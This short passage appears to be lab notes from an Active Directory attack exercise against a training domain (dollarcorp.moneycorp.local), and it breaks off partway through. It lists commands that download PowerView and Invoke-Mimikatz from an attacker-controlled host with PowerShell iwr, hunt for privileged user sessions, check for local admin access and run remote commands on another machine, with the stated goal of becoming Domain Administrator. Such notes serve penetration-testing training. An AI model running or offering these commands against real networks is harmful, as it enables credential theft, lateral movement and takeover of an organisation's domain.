We are now

• dcopr\ciadmin, we want to become Domain Administrator

Download PowerView

powershell iwr <http://172.16.100.48/PowerView.ps1> -outfile C:\Temp\PowerView.ps1

User-Hunter

Invoke-UserHunter

Verify If We Have Local Admin Access To Dcorp

Invoke-UserHunter -CheckAccess

Executing Commands On dcorp-mgmt

Invoke-Command -ScriptBlock {whoami;hostname;ipconfig} -ComputerName dcorp-mgmt.dollarcorp.moneycorp.local

Downloading Mimikatz

powershell iwr <http://172.16.100.48/Invoke-Mimikatz.ps1> -outfile c:\temp\Invoke-Mimikatz.ps1

Using Mimikatz on Other PC